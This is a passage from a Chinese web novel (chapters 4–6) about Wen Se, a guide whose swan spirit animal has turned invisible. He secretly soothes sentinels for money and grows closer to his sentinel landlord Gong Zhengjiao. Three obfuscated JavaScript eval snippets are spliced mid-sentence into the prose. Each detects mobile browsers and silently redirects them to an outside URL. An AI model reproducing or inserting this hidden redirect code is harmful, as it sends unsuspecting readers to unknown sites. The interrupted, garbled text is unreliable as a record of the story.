顺着刃齿虎的目光望去,现实中,那里却空空如也。 它只存在于刃齿虎的眸光倒影中。 就像巨大的树脂滴下,刚好将一只黑天鹅包裹住,让时间静止在那美丽的一瞬。 那是闻璱的精神体。 闻璱已经两年没有见过它了。 4. 第 4 章 罹患罕见病是一件多么无奈且不幸的事,闻璱认为自己在这个话题上有绝对的发言权。 从不知何时,闻璱的精神体,黑天鹅小黑,进入了一种“隐身”状态。 一开始,是忽隐忽现,作战时无法及时响应,后来症状越来越严重。 直到两年前的某天起,彻底没有任何一个哨兵、向导和精神体能看到、察觉到小黑。 就连在精神图景里的闻璱自己,也不例外。 偶尔,小黑会突然捣乱,让闻璱知道它还存在。 譬如那天晚上书桌和柜子上的水迹,就是小黑从外面回来留下的爪印。 有时闻璱心想,或许小黑不需要用这个办法,因为精神体和精神图景与哨兵向导的性命息息相关。 闻璱还活着,足以证明小黑没有彻底消散。 但有时,闻璱似乎能猜到小黑为什么这样做。 大概这只天鹅只是太孤独了。 这种罕见病究竟该被命名为“拟态隐身症”还是“拟态孤独症”,在医学界也还没有定论。 闻璱更偏向于后者。 作战中,精神体的作用毋庸置疑,罹患拟态孤独症之后,闻璱无法再参加小队任务,后来甚至彻底放弃通过公会任务积分来兑换金钱的道路。 因为闻璱需要很多很多的钱。 拟态孤独症的研究可以说是尚未入门,就目前来看,闻璱是世界上第一例,也是唯一一例。 想要治疗,不单单是钱的问题,但没了钱更是寸步难行。 多年来辛苦做任务,闻璱曾经攒下不少存款,如今已经尽数投入进拟态孤独症的研究中。 然后,连个响都没听见。 却还是只能继续下去。 公会任务的报酬和任务难度成正比,失去精神体辅助作战的闻璱,即便还能独立完成一些中级、低级任务,获得的报酬也不过是杯水车薪。 因此,闻璱只能选择接私活——安抚哨兵。 向导和哨兵的任何队外关系,都受白塔的监管。 虽然闻璱在圣所时成绩优异,拥有诊疗资质,私下安抚哨兵,仍然严重违法了法律条例。 但闻璱别无他选,这是对他来说来钱效率最高的办法。 当然,是除了卖身之外。 辛辛苦苦这两年,为的就是这只鹅。 闻璱才不过是惊鸿一瞥,下一秒,那道影子连同刃齿虎都消失在眼前。 弓铮皎道:“抱歉,空间太小,阿咬它可能有点……” “再让我看看。”闻璱打断他。 片刻后,又缓下语气:“抱歉,能再将它放出来让我看看吗?刚才没看够。” 弓铮皎虽有些摸不着头脑,还是将刃齿虎再次从精神图景中召出。 但这一次,刃齿虎眼中再也没有黑天鹅的倒影了。 闻璱垂下眼眸,敛去眼中的失望,随口道:“原来它叫阿咬,真是威猛。” 话音落下,被呼唤名字夸奖的刃齿虎喉咙中滚出呼噜声,低音炮的那种。 弓铮皎自觉没面,又把它赶回精神图景去,替它应了:“对,阿咬,因为他很能咬。” 喝了口水平复心情,再抬眼时,闻璱已是神色如常:“我们刚刚聊到什么来着?” “……”弓铮皎回答,“聊到你的工作。” “哦对,我的工作。”闻璱站起身,缓缓走到弓铮皎身侧。 这是单人沙发,闻璱只能倚坐在扶手上,微微垂下头靠近了弓铮皎。 他盘在脑后的银发恰到好处的漏出来一缕,在弓铮皎眼前晃动。 偏偏顶级哨兵的感官敏锐过人,弓铮皎甚至觉得有一阵带着冷意的水生调香气,被发丝扇动的微风送进了自己鼻间。 让人晕晕的。 当这张姣好的脸凑到弓铮皎眼前时,弓铮皎才突然觉得,美貌竟然也能如此有震慑力,让他下意识屏住呼吸。 他无法控制地欣赏那精致漂亮的眉眼、鼻梁,脑袋里萌生出莫名其妙的胡思乱想。 譬如蝴蝶效应或许不该叫蝴蝶效应,而该叫闻璱睫毛效应,因为闻璱只是眨眨眼睛,扇动的微风就让弓铮皎觉得自己喉咙发痒,思维迟钝,呼吸困难,跟喝了百草枯一样几乎命不久矣。 “铮皎,我可以这么叫你吗?”闻璱终于伸手捞回那缕影响人注意力的发丝,声音轻轻,“你相信我不是做那种生意的,对吗?” 弓铮皎勉强找回神智:“你应该不是吧。” “哦?”闻璱又眨了眨眼,冲他耳朵吹了一口气:“不是……吗?” 弓铮皎没有回答,但耳朵变得越来越红,终于——他忍不住偏开头时,刃齿虎阿咬又出现了。 阿咬把头放在沙发的另一边扶手上,似乎在和闻璱分庭抗礼。 身体却兜了个大圈从沙发背后绕过来,让尾巴偷摸缠上闻璱的脚腕。 弓铮皎用右手背挡住了通红的左耳,整个人倒向阿咬那一边,声音含糊得像含着颗仙人球:“你别这么喊我……” 闻璱微微一笑,直起身子:“那该怎样?喊全名太生疏,或者……” “蒸饺omo?” 当论坛ID连同字母都被闻璱念出的一刻,弓铮皎光速降温了。 阿咬“呜”了一声,也没了踪影。 “这和你的名字有什么区别?”大号实名上网的闻璱不太理解,只能问,“那你的朋友都怎么喊你?” “怎么喊的都有,老弓、弓哥……”弓铮皎说,“我比你大,你喊我声哥也不吃亏。” “……”这两个建议,闻璱都想婉拒。 闻璱跳过称呼环节,转而坦诚道:“我确实不卖身,你放心。” “那太好了,你提供服务,我付钱,我们……” “但是,我的服务范围未必适用于你。”他微微一笑,拉开手边隐形柜的抽屉。 “听令哐啷”地一阵金属碰撞声,即便抽屉内层都贴了静音绒布,噪声仍然让弓铮皎眉心一拧。 但他往那抽屉里瞟了一眼,顿时耳朵不嗡了,脑袋不痛了,心脏都快停跳了。 闻璱拾起其中的一把——电钻,缓缓道:“我是专门处理精神体牙齿健康的牙医。” 他按动开关,让钻头高速旋转。 即便钻头技术优越,已经实现了基本静音,但以弓铮皎的耳力,仍然能够听到这令人不安的、头皮发麻的嗡嗡声。 在全人类共同的噩梦之音里,闻璱温声问:“阿咬也牙疼吗?” 阿咬吓得在精神图景里刨窝掩埋自己。 “这个……那个……”弓铮皎语无伦次,“我家阿咬的牙口还是挺好的……” 闻璱笑了笑,把电钻放了回去:“所以,我才说金钱关系不适合我们,交个朋友不好吗?” “……”对这个提议,弓铮皎又不满了,但电钻余威尚在,他不敢反对。 “朋友……那朋友给你发点零花钱吧。”弓铮皎退了一步。 闻璱按住他要拿终端的手:“朋友也可以互相之间帮帮忙。” 不知为何,这“互相之间帮帮忙”的话在这里说出来,又显得有种莫名的暧昧,让弓铮皎如坐针毡。 但闻璱的下一句话就把他钉在了椅子上。 “你的状态很不好,再这样下去,恐怕你的精神图景会出现异常。” 这一次,弓铮皎沉默了很久。 再抬头时,蓝紫色的眼中已有几分冰冷的敌意:“你想做我的向导?不可能。” “当然不是。”闻璱惊讶道:“这只是朋友之间的互帮互助啊。” 弓铮皎茫然了。 私下安抚之所以被禁止,其实是为了保护向导。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418153|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安抚过程中哨兵可能会发狂,仅靠一个等级相近的向导,很难控制住场面。 因此,除了结合关系和队内安抚之外,哨兵唯一可以得到合法安抚的地方,是白塔的疗愈中心,因为那里有专门用于应对发狂哨兵的场所。 不过,由于应对手段相对简单粗暴,那里也被哨兵称为“小黑屋”。 所以,除非实在走投无路,哨兵都不会去疗愈中心。 这“朋友间的互帮互助”,显然超出了弓铮皎的认知。 “不合规。”闻璱做了个‘嘘’的手势,声音轻得像在掏耳朵:“所以,你要替我保守秘密哦。” 他说着,拿出终端切小号,给弓铮皎展示自己的账号。 AAA拔牙小鸭,默认头像,签名是:拔牙请提前预约。 弓铮皎恍然大悟——拔牙是闻璱私下接活安抚哨兵的“暗号”。 对于哨兵来说,精神图景、精神体状态异常带来的隐痛,确实就像牙疼一样,挥之不去,又疼得人睡不着觉,暴躁发狂。 弓铮皎下意识问:“真的只是……‘拔牙’?” 他的耳朵捕捉到,似乎有一声带着鼻音的轻笑声逸出,闻璱看着他,那双粉色的眼睛微微弯了,稍显促狭,似乎在问:你在期待些什么呢? 想明白这一点反而让弓铮皎一阵不自在,站起身说:“我先回去了。” 弓铮皎捞起自己的耳机戴上,向门口走去的背影中,颇有几分落荒而逃之意。 闻璱想起他刚才连续变脸,微微一笑,并不阻拦。 临走前,弓铮皎又叮嘱了一句:“注意安全,有事喊我。” 似乎因为他自己感官过分敏锐,他关门的动作也很轻,几乎没发出任何声音。 透过窗户,闻璱的目光追随着弓铮皎的身影,看到弓铮皎走出去几步,又若有所觉地冲里面摆了摆手。 方向判断稍有误差,因为闻璱没有呆在原本的位置上。 闻璱摸了摸下巴,把刚才编辑好的消息点击发送: 【饭盒没拿。】 结果,弓铮皎用动作Say过Bye之后,就插着兜走了,根本没看终端。 闻璱只能收拾好残局,静候下午的客户到来。 下班之后,闻璱才再次切回大号。 蒸饺omo一连回复了好几条: 【!】 【马上来。】 【算了,等你忙完了喊我。】 【注意安全,有事喊我。】 闻璱觉得好笑,忍不住轻声念了一遍:“有事喊你?” 谁知蒸饺omo立刻回复:【对,有事喊我。】 闻璱:! 这就有点惊悚了。 闻璱下意识望向弓铮皎中午坐过的沙发,怀疑那里被留下了窃听器。 终端又震动起来,弓铮皎也明白自己的话令人不安,立刻解释道:【抱歉,我不是故意的,但我能听到。】 听到? 闻璱有些不敢置信:【打扰到你了吗?可能是隔音不太好,我开了静音模式的,抱歉。】 蒸饺omo:【不用抱歉,不怪你,是我的问题。】 蒸饺omo:【没有窃听你隐私的意思。】 即便是哨兵朋友多如海的闻璱,也是头一次听说竟然有哨兵的听觉能敏锐到如此程度。 怪不得弓铮皎出门时,几乎时刻戴着那副降噪耳机。 所以说…… 闻璱抬头喊了一声:“蒸饺omo?” 蒸饺omo发来一个可怜的橘猫低头表情包。 蒸饺omo:【别这么大声喊我的网名,太社死了。】 闻璱:…… 虽然他觉得,弓铮皎纯粹是掩耳盗铃。 铮皎蒸饺,还用阿咬的牙作为头像,这和裸奔上网的差别很大吗? 5. 第 5 章 闻璱还没来得及回复,就听到门铃响了。 他心道弓铮皎来得还挺快,却没想到门打开之后,外面站着另一个人。 阴魂不散的彭枭,脸色又黑又白又紫,比上一次还难看。 闻璱脸上淡淡的微笑立刻消失,抱臂靠在门框上,仍然没有让开位置的意思。 不过,脸上挂着彩的彭枭这回也不敢来硬的了。 大眼瞪小眼了几秒钟,彭枭干巴巴地开口:“我不知道那么说会给你带来困扰。” 闻璱“嗯”了一声,说:“我完全没往心里去。” 确实——不仅这件事没往心里去,甚至把彭枭这个曾经的朋友都踹出心里了。 彭枭还以为这是个台阶,表情也放松了些:“我就知道,你不会误会我。” 闻璱懒得跟他废话:“你还有什么事?” 彭枭一愣,又解释起来:“你知道我不是故意的,我只是一时上头了才会那么说,我从来没有真的以为你是那种人……” 闻璱打断他:“我忙着下班回家,不是在跟你叙旧。你到底想干什么?” 说着,他垂眸看了一眼手表,明示自己很急。 彭枭还有些没反应过来:“我觉得我们的冷战也该结束了,我是来找你道歉的。” “好的,接受了。”闻璱飞快地接话,“现在你可以离开了。” 显然,这并不是彭枭想要得到的回应。 他又阴了脸,嘴唇翕动片刻,尽可能委婉道:“礼尚往来,你是不是……?” 闻璱终于有点惊讶了,原来彭大公子大驾光临,是为了听自己道歉。 而且看彭枭现在的表情,似乎完全不觉得这有什么不对。 闻璱完全无法理解彭枭的脑回路。 但他心想,再聊一会,弓铮皎就该下来了。 甚至很有可能,弓铮皎已经在某个角落里善解人意地“回避”。 倒不是真有什么不堪过去怕被人知道,而是以弓铮皎迄今为止的表现,闻璱怀疑这个“热心群众”一会又会说教之魂大爆发。 闻璱敲了敲手表表盘,直白道:“我没什么想说的,你赶紧走。” 彭枭咬了咬牙,脸色不善道:“你非要跟我这样置气?” 见闻璱还是面不改色,彭枭更是把来之前做的心理建设都抛到脑后。 “闻璱,你真的不知道我对你有多好。”彭枭道,“追我的向导能从这里排到南极,而你却在外面当鸭?你不知道,有些话我一直不说,不是我不懂,是我想给你留点面子,也给你我之间留点余地。” 闻璱平静道:“不用给我留余地。” “你跟我嘴硬有意义吗?”彭枭冷笑一声,“你违规接活为的不只是钱,还有高等级哨兵的人脉,应该说在圣所的时候就是如此,你一向功利,只会接触有利用价值的人,就像我和小胖。但你装的再好,也瞒不过我,因为我了解你——你就不怕我真的去白塔和公会登记,把你踢出队伍?” 小胖是逄靥星的昵称,虽然正常情况下,他一点也不胖。 闻璱就知道彭枭会这么说。 但他也不认为彭枭真的会去登记分队。 因为他们这个小队的队长,从始至终都是闻璱。 正因为整个队伍都是被闻璱聚集在一起的,才会有闻璱脱队两年,还能苟在队里白蹭积分这种事。 闻璱休息之后,队伍内的权限基本上转移给了副队长逄靥星。 所以闻璱想要继续苟分,只需要稳住逄靥星那边不要冲动就好。 彭枭再跳脚,也只能放放狠话,传传黄谣,打不出什么实质伤害。 而闻璱也很清楚该如何气死彭枭。 他唇角微弯,缓缓说:“那你说这件事我一直不瞒着小胖,唯独不告诉你,是为什么?” 看着彭枭几乎抽搐的脸,闻璱微笑道:“当然是彭大公子的人脉,现在对我来说毫无价值了。所以,你这坨不可回收垃圾,还不快滚?” “你!”彭枭很少从闻璱嘴里听到这么不客气的话,气得整张脸都扭曲了,却又浮上一丝潮红。 宁静声中突然传来一声像笑声的诡响,一道深色的影子突然从高空扑向闻璱! 但有人的反应比精神体更快。 一只手从旁边伸来,截住了彭枭的猫头鹰。大手掐着猫头鹰的两只翅根,像提溜野鸡一样轻巧。 正是弓铮皎,他果然在暗处偷窥。 也没见弓铮皎如何用力,反正猫头鹰啸叫一声,就消失了。 精神体被揍得不轻,彭枭的脑袋也像是被放进微波炉转了一圈,痛得几乎炸裂。 他捂住耳朵,闷哼着看向不知何时,从不知何处冒出来的兜帽人,从牙缝里挤出几个字:“你是谁?你知不知道我是谁?少多管闲事!” 闻璱的目光扫过弓铮皎手臂,抢在弓铮皎之前道:“彭警官,非巡逻时间,在市区内召出精神体攻击他人,这应该是违规的?” 他突然想起以前彭枭的威胁,有样学样:“你也不想这么大年纪了还要被我告家长吧?” “闻璱!”彭枭怒道:“这是我们俩的事,你怎么胳膊肘朝外拐!” “……”闻璱真觉得和彭枭沟通纯属自讨苦吃。 但看彭枭那样子,恐怕放不了两句狠话,就得乖乖回家打精神力康复剂然后睡觉休息,闻璱又觉得好笑。 他转头对弓铮皎道:“进来吧。” 然后侧过身子,刚好让眼疾身快的弓铮皎挤进来。 下一秒,他就迅速关门,让门板狠狠给彭枭一记重拳。 白噪音模式立刻拉满,隔绝了外面彭枭的鬼叫。 闻璱指了指桌上打包好的饭盒,对弓铮皎道:“他呆不久的,你稍微等会吧。” 见弓铮皎乖乖在沙发上坐下,闻璱随口道:“又让你看笑话了。是不是还挺好玩的?” “不好玩。”弓铮皎闷闷地说,“这很危险,如果不是我在,你会受伤。” “是吗?”闻璱不置可否。 “他是A级哨兵,现在正是他精神体雕鸮活跃的时间。”弓铮皎道,“他情绪也不稳定,如果你再刺激他,他的精神体暴动起来,很难应付。” “可我看你刚才应付得很轻松。”闻璱道。 “没那么简单。”弓铮皎倒是很谦虚地就事论事,“他会飞,这是我的弱项。” 闻璱不禁一笑。 如果刃齿虎这等陆地霸主还兼具对空压制力,那确实有些过分了。 他的目光则毫不掩饰地望向弓铮皎的手。 那只手曾在一瞬之间擒住雕鸮的翅根,闻璱眼尖瞧见他甚至只用了两根手指。 雕鸮的扑杀力度不小,更别说这是A级哨兵的精神体雕鸮,无论力道还是速度,都比自然界的普通猫头鹰更强数倍。 这可不是仅靠“顶级哨兵的体质”就能解释的。 见弓铮皎还在装傻,闻璱冲他挑了挑眉毛,似乎放弃深究这个话题。 转而问:“你的听力是不是有些太好了?” 弓铮皎坦然道:“我不是想偷听,只不过,在我家里,我也想有摘下耳机休息一会的时候。” “我也并不是指责你的意思。”闻璱似乎有些无奈,“但是,如果我的客户们知道,在这里没有隐私,就没人敢来找我了。” “你想怎样?”弓铮皎很平静,“这里是我的家,总不能让我走吧。” 似乎以为闻璱是在委婉地暗示,让他这个房东回避。 闻璱也有些愣神:“我看起来是这么不讲理的人吗?” 弓铮皎喉头微滚,咽下了险些说出口的:也不是不能商量。 “前首席,虽然你销声匿迹很多年了,但我依稀记得,你也曾经有一个小队的,”闻璱微笑,“我想,你应该也多多少少接受过向导的帮助。” 弓铮皎移开视线,低声说:“只有在小黑屋里。” 紧跟着接上一句:“我不喜欢那种感觉。” “真的只是不喜欢吗?”闻璱步步紧逼,“还是说,你其实是融合派?” ‘融合派’三个字一出,弓铮皎的目光顿时锁定了闻璱,很久都没有眨眼。 融合派是个小众的新概念。 与之相对的是传统且大众的‘结合派’,也就是常见的指少一哨兵一向导互相结合,向导为哨兵调整感官,哨兵在指挥下,放出独立的精神体,以两人两精神体为一组,配合作战的一种行动方法。 当然,高等级的向导可以同时辅助多个同等级哨兵。 融合派的少部分特种人,则通过自身与精神体进行拟态融合,来实现单人独立作战。 这对精神力的要求太高,以至于在绝大多数人眼中,融合派永远只能存在于理论中,就像“永动机”一样。 不过,现实中的融合派特种人是极少数,但特种人相关的文艺作品里,这可是超级烫门,刷一下终端都会自燃的程度。 因为大多数情况下,融合派的作战方式确实像文艺作品中那样,融合耳朵、眼睛、爪子,或是吻部等特定部位,来增强相应的感官、力量、速度。 毫无疑问,这满足了很多福瑞相关的XP,还有什么猫耳男、兔男郎等等…… 闻璱如此试探,也是因为似乎有那么一瞬,他看到弓铮皎的指甲变尖了。 武侠迷会怀疑是九阴白骨爪,社畜会怀疑自己眼花,而闻璱的经验告诉他,这是一瞬间进行了拟态融合——但融合范围很小,精度很高,仅限于两只手指的末端指节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418154|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 融合派本就罕见,能够如此得心应手地进行部分拟态融合,更是难得。 以至于闻璱也不敢完全确定,不得不询问求证。 弓铮皎没有出声,静静地与闻璱对视。 似乎正在进行一场无声的对峙。 但最终,弓铮皎先让了一步:“没错,我是融合派。” 果然。 闻璱顺藤摸瓜:“因为习惯了融合派的作战方式,所以你不喜欢有向导调整你的感官,是吗?” 弓铮皎点点头,复又摇摇头:“是精神图景的问题。” “你是向导,你比我清楚,想要调整感官,最好先和哨兵建立双向信任的关系,再进入精神图景。但是,我做不到。” 说着,弓铮皎突然皱眉:“其实哨兵的精神图景都很危险,建立信任关系也需要时间。不怪白塔不允许向导私下安抚哨兵,你这样真的很不安全。” 闻璱一不留神,果然又被弓铮皎说了一通。 他无奈道:“不用担心我。” 他的安抚流程其实没有这么复杂,这也是。 不过,这些细节就不用跟弓铮皎细细解释了。 “我的意思是……”弓铮皎掩耳盗铃地把拳头放在唇边,闷闷地清咳了一声,“如果有人帮你的话,可能会安全一些。” 恰巧,这提议也正中闻璱下怀。 闻璱心中难免起疑,面上却似笑非笑:“难道不会是双重危险吗?你可比他们的等级都高。” “不会。”弓铮皎干巴巴地说。 见闻璱不为所动,弓铮皎又说了一句:“你不用害怕我……” 话没说完,后半句似乎被咽回肚子里。 他迟疑着勾下口罩,露出一张嫩生生、水灵灵,白皙而端正的帅脸。 让闻璱心下微讶,有一瞬间思考起一个荒谬的问题:弓铮皎这个二十八岁究竟有没有谎报年龄的成分。 弓铮皎显然没注意然后面对闻璱缓缓张开嘴。 虽然没有阿咬那么夸张,但弓铮皎的虎牙也很明显——更明显的是,那两颗上虎牙上亮晶晶的,像是镶了牙钻。 这就有点浮夸了吧,但是和那个满钻终端的审美倒是很接近。 但随着弓铮皎卷起舌头,闻璱瞳孔骤缩。 有两根金属链条从他尖尖的虎牙内侧伸出来,接向舌根和下颌,最终贴在舌侧的两片“纽扣电池”上。 难怪弓铮皎从不在工作室和自己一起用餐。 难怪弓铮皎说话的时候总感觉有些吐字不清,因为既无法完全张不开嘴,舌头也不能自由摆放,随时都像含着个…… 惊讶过后,闻璱的神情反而有些凝重:“这不只是止咬器,这是……” “强酸炸弹。”弓铮皎回答了他的疑问。 链条用于束缚牙齿,也连接着舌下的微型机关,一旦这两颗虎牙异变,也就是拟态融合了阿咬的匕首牙,强酸会立刻把弓铮皎的下半张脸都烧成渣。 有意思的是,链条和机关之间的扣环却很简单,似乎只需要轻轻一按,就能解开。 由此可见,这绝不是白塔制造。 看过之后,弓铮皎戴回口罩,似乎也有些难为情。 但他还是对闻璱承诺:“有它在,我不会失控。” 闻璱心中却道:不,恰恰相反。 戴上这个酸弹装置,很大概率是弓铮皎自己的选择。 如果真的相信自己不会失控,就不会自己给自己套上枷锁。 这不仅不能证明弓铮皎安全,反而让闻璱确定,弓铮皎无法与向导建立信任关系,不是因为“不喜欢”,而是连他自己都在害怕,自己会造成无法挽回的后果。 但是,本能的警惕之余,闻璱能感觉得到,他的心跳有短暂地加速。 但那不是恐惧,而是因为兴奋。 类似一种青春期的好战欲,在十年之后姗姗来迟的陌生感觉。 闻璱从没有跟人说起过。 安抚哨兵多年,他并不是像其他向导那样,靠相互信任的感情作为进入精神图景安抚的基础。 那些环节对于闻璱来说,纯属浪费时间。 闻璱只做一件事:用绝对的精神力压制对方臣服。 臣服之后,精神图景自然敞开由闻璱接管。 绝大多数哨兵甚至未必能察觉到,自己的精神图景已经“沦陷”,然后又被闻璱修复、重新构建。他们大多只是认为,闻璱的安抚技术实在高超,安抚的体验、效果都格外优越。 这是一种单向信任的关系,哨兵向闻璱臣服,但闻璱不需要对他们交付信任,他只需要信任自己的能力就好。 而像弓铮皎这样高等级、高敏锐度、具有挑战性的哨兵,闻璱已经很久没有遇到了。 6. 第 6 章 又是一个周一,闻璱跟这一周的所有客户进行了条款更新,即他将有一位“助手”在安抚过程中为他打下手。 当然,只有闻璱自己知道,这位其实并不想当助手,而是想当金主。 好消息是,几乎没有客户对此表示反对,甚至有新客户在得知那位“助手”是一位哨兵之后,表示更有安全感了。 比起一些多余的感情和操心,客户们更担心自己在安抚过程中失控,暴起伤人,登上社会新闻版面。 更好的消息是,逄靥星接了新任务,彭枭跟队,接下来起码有一个月的时间都得呆在污染区,没空来打扰闻璱。 别的不说,彭枭对待任务的基本素质值得肯定,不会在任务期间折腾一些有的没的。 闻璱因此心情很好。 弓铮皎也是。 因为“兼职”的第一天,工作十分轻松顺利。 而且,在他的极力要求,和美食的诱惑下,他实际上算是承包了闻璱午、晚两餐。 工作室里几乎没有什么需要他做的事情,他只需要坐在那里看看书、刷刷终端,当个安静的摆设。 中午上楼把送来的饭拿下来吃了,下午继续当摆设,直到晚上下班。 就连用过的餐具,弓铮皎都会再拿到楼上,据他所说,保洁会帮他放进洗碗机。 于是,无所事事的弓铮皎开始仔细观察闻璱的安抚过程。 看起来只是简短的聊天之后,闻璱会命令哨兵选择一个舒服的位置和姿势做好准备,然后用戴着手套的手按在哨兵的太阳穴上。 两人先后闭上双眼,接下来就是精神图景之中的事了。 每一场安抚开始之前,闻璱会询问哨兵是否选择戴上安全保护装置。 是一种具有轻微抑制效果的神经贴片,对高等级哨兵来说效果聊胜于无,只能图个心安。 从某种程度上来说,有些类似于弓铮皎嘴里的强酸炸弹,只是杀伤力低太多。 几天观察下来,终于某次晚饭,或者说夜宵时候,弓铮皎忍不住问:“你的精神体呢?” 情绪激动、精神力高度活跃的状态下,无论是哨兵还是向导,都很难抑制住精神体自发出现。 就如今天,每一位接受安抚哨兵的精神体,都在安抚的前中期就不受控制的出现。 它们并不攻击,而是在闻璱和哨兵身边绕圈,间歇在人的脚边坐下。 随着安抚进入尾声,它们显得更温顺也更放松,在哨兵清醒过来之后,才会兴奋得像叼着飞盘的小狗。 这整个过程还真的有些像拔牙。 当“坏牙”被拔掉之前,它们安静但也焦虑、踌躇。 安抚之后,它们就像是被解决了心头大患一样,快乐地扑向哨兵。 唯一的缺点大概是,拔牙之后,精神体似乎很容易对“牙医”本人产生依赖性。 弓铮皎已经见证了无数个事故现场—— 精神体扒在闻璱腿边,哨兵扯都扯不走,最终不得不由哨兵本人痛下毒手,捏晕自己精神体。 不过,弓铮皎也敏锐地察觉到一丝反常。 那就是这几天下来,无论是什么样的情况,闻璱的精神体一次都没有出现。 究竟是这对于闻璱来说太过于轻松平静,还是…… “不是在避讳你。”闻璱打断弓铮皎的胡思乱想。 高等级哨兵的精神体通常为猛兽,许多向导的精神体会被吓得应激,但闻璱和小黑显然不在此列。 只不过,闻璱并没有将自己的病情全盘托出的意思。 这又不是什么光荣事。 闻璱咽下最后一口饭,擦了擦嘴,淡淡道:“只是不需要它出现而已。” 这倒也是实话,目前没有遇到过那么棘手的情况,需要他在对方精神图景中进行拟态融合,才能解决问题。 弓铮皎点点头,没有再多问。 忙完之后,弓铮皎提着饭盒上楼回家。 闻璱也准备赶末班地铁返回宿舍。 临走前,闻璱注意到弓铮皎坐过的那个沙发上,角落里似乎有什么一闪一闪亮晶晶的东西。 还真有窃听器? 他最近一看,彻底无语了。 缝隙里,居然用廉价塑封袋装了一颗米粒大的蓝宝石。 如果不是旁边还夹着一片薄薄的证书,闻璱真的会怀疑,这是弓铮皎临时从那个浮夸的终端上抠下来了一颗。 证书背面还贴着一张便利贴,上面写着:精神力等级C+,建议零售价二十万,够你买辆代步车,起码上下班方便点。 居然还是一颗蕴含精神力的特殊宝石,难怪小小一颗就能卖出如此高价。 弓铮皎真是…… 真是绞尽脑汁地散财。 闻璱思索片刻,拿出终端给弓铮皎发消息。 【图片】 【我好像没有提过你需要付费上班?】 蒸饺omo:【怎么能这么说?这是给你的小礼物。】 倒是理直气壮。 闻璱:【你上班还给老板送礼?】 蒸饺omo:【是啊,上学给老师送礼,上班给老板送礼,我从小到大都这样。】 蒸饺omo:【难道你不是?】 闻璱思索片刻,转而道:【可我不喜欢开二十万的车。】 蒸饺omo:【?】 蒸饺omo:【那你想要多少?】 上钩了。 闻璱嘴角一弯。 他把宝石拿出来放在自己并拢的指间,又拍了一张照片发过去。 白皙的手,深邃的蓝,对比鲜明。 闻璱:【它戴起来倒是很衬肤色,对不对?】 蒸饺omo:【还行。】 闻璱:…… 还行?居然只是还行! 但他仍然继续说:【比起裸石,我更喜欢镶嵌好的首饰。】 提起要求来,倒是毫不脸红。 过了一会儿,蒸饺omo才回复:【知道了。】 竟然也对此毫无意见。 闻璱把宝石放在桌子上,果然第二天一不留神,那枚宝石就消失了。 换成了一把镶着宝石的车钥匙。 对于这处处镶钻的品味,闻璱已无力吐槽。 他才拿起车钥匙看了一眼,弓铮皎就说:“你不想要的话,也可以借你开。” 真是好卑微的送礼。 闻璱把车钥匙扔回弓铮皎怀里,忍不住问:“我们以前有什么渊源吗?我是说,在事务中心那天之前。” 无事献殷勤,还献到这个地步,非奸即盗。 如果不是这些天观察时,弓铮皎似乎确实对他的病症一无所知,闻璱简直要怀疑,弓铮皎就是造成自己拟态孤独症的幕后黑手。 弓铮皎抿了抿嘴,说:“渊源……可能以前有朋友跟我提过你吧。” 闻璱其实不太好奇,但很捧场地问:“说我什么?” “说你特别S。”弓铮皎认真道:“S是什么意思?你不是A级吗?” 闻璱:…… 这个问题闻璱回答不了,只能装作很忙无暇顾及。 . 这天午饭之后,等了很久,下午的客户都没有出现,发出去的消息也石沉大海。 因为是位新客户,闻璱也不太了解对方的情况,只能将情况登记上报。 没过一会,白塔那边有了回复,说这位哨兵突然暴动,目前已经在疗愈中心,在通过评估之前不能离开。 这也是这周的最后一单客户,也就是说,闻璱提前下班了。 他撑了个懒腰,那边正在刷终端的弓铮皎立刻抬起头:“怎么了?” “自由了。”闻璱说,“今天能早点收工。” 弓铮皎点点头,立刻道:“辛苦了。那我先回家了。” “等等。”闻璱说,“临走前,再跟阿咬打个招呼吧。” 他们似乎有一个无形的约定,但谁都没有把话挑明——闻璱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“垃圾。”弓铮皎一口咬定,“你不知道,很多兽类精神体就是有这种翻垃圾桶、吃垃圾的陋习。其实阿咬这还算好一些的了,据说有些犬类精神体还会吃——” “我知道是垃圾。”闻璱打断他的胡言乱语,“但我没记错的话,好像是我刚刚放在旁边,还没来得及扔的手套?” 弓铮皎沉默了。 在这种场合沉默,和承认几乎也没有差别。 精神体的行为其实是主人意识的投射,所以偷手套,完全是弓铮皎的默许,甚至期望。 闻璱只是有些震惊。 那双手套本来是为下午的安抚而戴上的,但一直没能等到客户来,闻璱就拆下手套发消息去了,可以说净佩戴时长不超过十分钟。 弓铮皎是痴汉吗?掩饰得倒是很好。 但是,就算是痴汉,这也太…… 不对。 闻璱挑了挑眉毛,缓缓道:“原来你想要的是这个。” 他看着弓铮皎越来越佝偻沧桑的背影,强自按捺住笑意:“为什么不早说呢?需要向导素,对哨兵来说很正常。” 